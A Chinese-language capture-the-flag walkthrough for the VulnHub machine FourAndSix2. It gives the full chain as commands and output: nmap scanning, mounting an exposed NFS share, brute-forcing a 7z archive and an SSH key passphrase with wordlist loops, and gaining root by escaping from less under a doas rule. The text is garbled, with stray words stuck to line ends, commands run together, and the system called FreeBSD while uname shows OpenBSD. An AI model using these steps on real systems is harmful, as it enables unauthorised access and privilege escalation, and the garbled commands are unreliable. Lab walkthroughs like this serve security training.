FourAndSix2是易受攻击的一个靶机,主要任务是经过入侵进入到目标靶机系统而后提权,并在root目录中并读取flag.tx信息git
FourAndSix2.镜像下载地址:github
https://download.vulnhub.com/fourandsix/FourAndSix2.ovashell
1.存活主机扫描服务器
arp-scan -l
发现192.168.1.9是目标靶机系统less
2.端口探测dom
使用Nmap对靶机进行扫描ssh
nmap -A 192.168.1.9
查询到开放的端口及服务:22-ssh、111-rpcbind、2049-nfs、612-mountdtcp
1.nfs漏洞利用编辑器
开放2049端口,nmap探测显示为nfs服务,使用metasploit进行扫描可挂载目录ide
msf > use auxiliary/scanner/nfs/nfsmount msf auxiliary(scanner/nfs/nfsmount) > show options Module options (auxiliary/scanner/nfs/nfsmount): NameCurrent Setting Required Description ------------------- -------- ----------- PROTOCOLudp yes The protocol to use (Accepted: udp, tcp) RHOSTS yes The target address range or CIDR identifier RPORT111 yes The target port (TCP) THREADS1 yes The number of concurrent threads msf auxiliary(scanner/nfs/nfsmount) > set rhosts192.168.1.9 rhosts => 192.168.1.9 msf auxiliary(scanner/nfs/nfsmount) > run [+] 192.168.1.9:111 - 192.168.1.9 NFS Export: /home/user/storage [] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
也能够利用showmount -e查看目标系统可挂载目录
发现可挂载目录/home/user/storage
经过mount名挂载目录:
mkdir /tmp/storage mount -t nfs 192.168.1.9:/home/user/storage/tmp/storage
注意:有时候在kali系统中mount命令不能使用多是文件损坏了,须要从新更新安装
apt-get install nfs-common
发现backup.7z这个压缩包,使用7z e backup.7z尝试解压,提示须要密码
2.backup.7z爆破
查找资料发现能够用rarcrack对7z压缩包进行爆破,rarcrack破解命令为:
apt-get install rarcrack rarcrack --threads 4 --type 7z backup.7z
也可使用7z命令进行字典爆破
7z破解脚本:
https://raw.githubusercontent.com/exexute/PythonScaffold/PythonScaffold_0.1/enum_violence/file_enum/7z-crack.sh
其命令内容为:
cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;break;fi;done
使用方法:
./7z-crack.shbackup.7z /usr/share/wordlists/rockyou.txt
最终,7z破解脚本成功破解到压缩包密码:chocolate
解压backup.7z发现一堆图片,以及id_rsa和id_rsa.pub
经过破解出来的密码chocolate对.7z进行解压,解压后提取其内容,可发现一些图片和RSA密钥。因为端口22在目标计算机上运行SSH服务,咱们可使用RSA私钥登陆。打开RSA公钥来查看用户名。
因而猜想能够经过公私钥登陆服务器,将私钥放到/root/.ssh目录下,链接服务器
cp id_rsa /root/.ssh sshuser@192.168.1.9
咱们尝试登陆ssh,但它要求密码。所以,咱们建立了如下脚原本查找正确的私钥密码。
root@kali2018:/tmp/storage# cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt |while read pass;do if ssh-keygen -c -C "user@forandsix" -P $pass -f id_rsa &>/dev/null;then echo $pass; break; fi; done
爆破获得密码为12345678
或者
root@kali2018:/tmp/storage# cat /usr/share/wordlists/rockyou.txt | while read line;do if ssh-keygen -p -P $line -N $line -f id_rsa 1>/dev/null 2>/dev/null;then echo "PASSWORD FOUND : "$line;break;fi;done;
经过破解成功的密码进行远程ssh登陆
进入shell后,发现当前系统是FreeBSD 6.4的,搜索以后发现内核没有可提权的漏洞,因而将重点放在配置、文件和服务上。
查看当前用户权限及系统信息
fourandsix2$ id uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel) fourandsix2$ uname -a OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64
咱们使用find命令来定位设置了SUID的文件或包。
find / -perm -u=s -type f 2>/dev/null
经过find命令咱们找到了suid权限运行的程序/usr/bin/doas,它是sudo命令的替代。doas是BSD系列系统下的权限管理工具,相似于Debian系列下的sudo命令
在阅读“doas.conf”文件后,咱们发现“less”能够以root身份运行。
查看/etc目录,有doas.conf
fourandsix2$ cat /etc/doas.conf permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog permit nopass keepenv root as root
让咱们查看配置文件并尝试理解。Doas实用程序根据doas.conf配置文件中的规则以其余用户身份执行命令。
Permit/Deny:容许/拒绝规则
Nopass:用户无需输入任何密码
Persist:用户成功经过身份验证后,请勿再次请求密码验证
Keepenv:维持用户的环境
Cmd:容许命令运行
从doas.conf文件能够看到,当前用户可以以root权限使用less命令查看/var/log/authlog文件,而且不须要当前用户密码以及root密码。
用doas /usr/bin/less /var/log/authlog查看日志文件,而后直接按v,可进入编辑模式,可是会提示只读,进入编辑模式后,能够经过vi编辑器操做方式
doas /usr/bin/less /var/log/authlog
执行系统命令,即:!/bin/sh,此时便会提高到root权限
最后一步获取falg信息,它在root目录下。
经过ID查询当前用户权限为root,而后使用cat flag.txt查看flag信息。
,